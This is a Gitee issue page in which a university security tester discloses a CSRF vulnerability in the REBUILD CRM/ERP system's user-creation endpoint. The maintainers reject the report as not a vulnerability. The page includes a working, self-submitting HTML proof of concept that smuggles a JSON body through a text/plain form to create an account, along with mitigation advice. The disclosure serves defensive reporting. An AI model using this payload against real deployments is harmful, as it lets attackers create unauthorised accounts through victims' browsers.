816 Star 2.3K Fork 563

RB企业管理系统 / rebuild_CRM_ERP_库存生产管理系统

 / 详情

部门用户创建接口存在CSRF漏洞

已拒绝
创建于  
2023-04-17 02:19

如确认漏洞,恳请厂商回复确认漏洞帮助测试人员备案,谢谢!

版本 / Version

V3.2 版本

什么问题 / What's the problem

部门用户创建接口存在CSRF漏洞
输入图片说明
接口正常请求报文如下:

可以看到Content-Type默认为text/plain,且数据以json格式传输,因为cookie跨域限制不严导致可构造恶意网页实现CSRF漏洞

如何复现此问题 / How to reproduce this problem

构造POC如下:

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="https://nightly.getrebuild.com/app/entity/record-save" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;loginName&quot;&#58;&quot;syh2&quot;&#44;&quot;password&quot;&#58;&quot;buy8l9rB&#33;8&quot;&#44;&quot;gangwei6&quot;&#58;&quot;668&#45;01871e762adb15ce&quot;&#44;&quot;gerendianhua&quot;&#58;&quot;&quot;&#44;&quot;createdBy&quot;&#58;&quot;001&#45;0000000000000001&quot;&#44;&quot;createdOn&quot;&#58;&quot;2023&#45;04&#45;17&#32;01&#58;36&#58;41&quot;&#44;&quot;fullName&quot;&#58;&quot;syh&quot;&#44;&quot;email&quot;&#58;&quot;su&#64;123&#46;com&quot;&#44;&quot;workphone&quot;&#58;&quot;13684122536&quot;&#44;&quot;deptId&quot;&#58;&quot;002&#45;0186693a0e7903c3&quot;&#44;&quot;metadata&quot;&#58;&#123;&quot;entity&quot;&#58;&quot;User&quot;&#44;&quot;id&quot;&#58;&quot;&quot;&#125;&#44;&quot;hack&quot;&#58;&quot;" value="&quot;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

正常POST表单会有=导致json格式错误,我们可以通过构造name value使其拼接,从而使=成为字段值,效果如下

      <input type="hidden" name="{"loginName":"syh2","password":"buy8l9rB!8","gangwei6":"668-01871e762adb15ce","gerendianhua":"","createdBy":"001-0000000000000001","createdOn":"2023-04-17 01:36:41","fullName":"syh","email":"su@123.com","workphone":"13684122536","deptId":"002-0186693a0e7903c3","metadata":{"entity":"User","id":""},"hack":"" value=""}" />

利用测试
使用POC搭建网页,访问该恶意网站:
输入图片说明
可以看到成功调用接口,成功添加账户
输入图片说明

漏洞修复建议

限制Content-Typeapplication/json
或对cookie增加跨域限制,即SameSite设置为Lax

测试单位

山东大学网络空间安全学院

评论 (4)

展开全部操作日志

感谢反馈,此问题待确认。

RB企业管理系统 任务状态从 待办的 修改为进行中

此问题不属于漏洞,因为任何请求均可模拟。

只是没人渗透罢了,护网要是遇上了,一个钓鱼网页就能进内网,CSRF怎么可能不算洞呢,不过你们认为不算就不算吧

RB企业管理系统 任务状态从 进行中 修改为已完成
RB企业管理系统 添加了
 
无需修复
标签
RB企业管理系统 任务状态从 已完成 修改为已取消

如有需要:

  1. 下载集成安装包,自行配置安全相关属性(注意可能导致某些功能无法使用)
  2. 启用更安全的 HTTPS 访问

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(2)
4975733 getrebuild 1628666260
Java
1
https://gitee.com/getrebuild/rebuild.git
git@gitee.com:getrebuild/rebuild.git
getrebuild
rebuild
rebuild_CRM_ERP_库存生产管理系统

搜索帮助